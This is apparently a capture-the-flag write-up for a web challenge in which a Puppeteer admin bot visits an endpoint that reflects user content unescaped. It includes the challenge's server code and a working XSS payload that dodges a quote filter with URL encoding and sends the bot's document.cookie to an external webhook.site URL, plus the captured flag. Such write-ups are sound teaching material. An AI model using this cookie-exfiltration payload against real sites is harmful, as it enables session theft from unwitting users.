Tags: web python puppeteer 

Rating:

Attachments:
* dist.zip

The dist.zip contains an index.js file with the following code:
```javascript
const express = require('express')
const puppeteer = require('puppeteer');
const cookieParser = require("cookie-parser");
const rateLimit = require('express-rate-limit');
require('dotenv').config();

const app = express()
const port = process.env.PORT || 3000

const CONFIG = {
APPURL: process.env['APPURL'] || `http://127.0.0.1:${port}`,
APPFLAG: process.env['APPFLAG'] || "fake{flag}",
}
console.table(CONFIG)

const limiter = rateLimit({
windowMs: 60 * 1000, // 1 minute
limit: 4, // Limit each IP to 4 requests per `window` (here, per minute).
standardHeaders: 'draft-7',
legacyHeaders: false,
})

app.use(express.json());
app.use(express.urlencoded({ extended: true }));
app.use(cookieParser());
app.set('views', __dirname + '/views');
app.use(express.static("./public"));
app.engine('html', require('ejs').renderFile);
app.set('view engine', 'ejs');

function sleep(s){
return new Promise((resolve)=>setTimeout(resolve, s))
}

app.get('/', (req, res) => {
res.render('index.html');
})

app.get('/admin/view', (req, res) => {
if (req.cookies.flag === CONFIG.APPFLAG) {
res.send(req.query.content);
}
else {
res.send('You are not Walter White!');
}
})

app.post('/review', limiter, async (req, res) => {
const initBrowser = puppeteer.launch({
executablePath: "/opt/homebrew/bin/chromium",
headless: true,
args: [
'--disable-dev-shm-usage',
'--no-sandbox',
'--disable-setuid-sandbox',
'--disable-gpu',
'--no-gpu',
'--disable-default-apps',
'--disable-translate',
'--disable-device-discovery-notifications',
'--disable-software-rasterizer',
'--disable-xss-auditor'
],
ignoreHTTPSErrors: true
});
const browser = await initBrowser;
const context = await browser.createBrowserContext()
const content = req.body.content.replace("'", '').replace('"', '').replace("`", '');
const urlToVisit = CONFIG.APPURL + '/admin/view/?content=' + content;
try {
const page = await context.newPage();
await page.setCookie({
name: "flag",
httpOnly: false,
value: CONFIG.APPFLAG,
url: CONFIG.APPURL
})
await page.goto(urlToVisit, {
waitUntil: 'networkidle2'
});
await sleep(1000);
// Close
await context.close()
res.redirect('/')
} catch (e) {
console.error(e);
await context.close();
res.redirect('/')
}
})

app.listen(port, () => {
console.log(`Purdue winning on port ${port}`)
})
```

The app.post('/review', limiter, async (req, res) function is a Node.js server-side endpoint that uses Puppeteer to interact with a (server side) web browser programmatically. It takes a request body, parses its content, and then visits a specific URL on the application's domain using Puppeteer.

Placing this payload inside of the 'message' field of the page form will lead to a call to the given webhook from the puppeteer browser:
```html

```
Now we need to get the puppeteer browser to send its cookies as a request parameter to the webhook url.
The problem is, that the content is sanitized via
```javascript
const content = req.body.content.replace("'", '').replace('"', '').replace("`", '');
```
So we need to find alternatives for the replaced characters. As the whole content gets passed in a URL parameter, we can make this script run successfully to call our webhook using URL encoding (' = %27) for the replaced chars:
```html
<script>
function setUrl()
{
e = document.getElementById(%27asd%27);
e.src = %27%27.concat(%27https://webhook.site/99853521-2093-4f3e-8f5a-8310bf862879?cookies=%27,%27asdf2%27);
}
</script>

```
Now we just need to extract the sites 'flag' cookie:

```html
<script>
function setUrl()
{
e = document.getElementById(%27asd%27);
e.src = %27%27.concat(%27https://webhook.site/99853521-2093-4f3e-8f5a-8310bf862879?cookies=%27,document.cookie);
}
</script>

```
The flag is returned in the cookie URL parameter:
```
bctf{wow_you_can_get_a_free_ad_now!}
```